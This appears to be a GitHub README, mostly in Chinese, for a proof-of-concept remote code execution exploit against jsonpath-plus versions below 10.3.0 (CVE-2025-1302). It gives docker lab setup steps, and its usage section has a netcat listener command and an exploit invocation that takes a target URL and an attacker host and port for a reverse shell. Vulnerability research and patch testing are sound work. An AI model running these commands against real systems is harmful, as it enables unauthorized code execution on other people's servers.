CVE-2025-1302

★ CVE-2025-1302 JSONPath-plus RCE PoC ★

https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb

实验环境搭建

docker build -t jsonpath:10.2.0 .
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

localhost:3000

描述

版本低于 10.3.0 的 jsonpath-plus 包由于输入清理不当而存在远程代码执行（RCE）漏洞。攻击者可以利用默认不安全的 eval='safe' 模式在系统上执行任意代码。注意： 这是由 CVE-2024-21534 修复不完整所导致的。

使用方法

Git clone

git clone https://github.com/EQSTLab/CVE-2025-1302.git
cd CVE-2025-1302

安装依赖包

pip install -r requirements.txt

命令

nc -l -p <LPORT>
python3 CVE-2025-1302.py -u <URL_TO_EXPLOIT> -i <LHOST> -p <LPORT>

输出

结果

免责声明

本仓库并非用于 CVE-2025-1302 的 RCE 漏洞利用。本项目的目的是帮助人们了解该漏洞，并可能测试他们自己的应用程序。

EQST 洞察

我们每月发布一次 CVE 和恶意软件分析报告。如果您感兴趣，请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do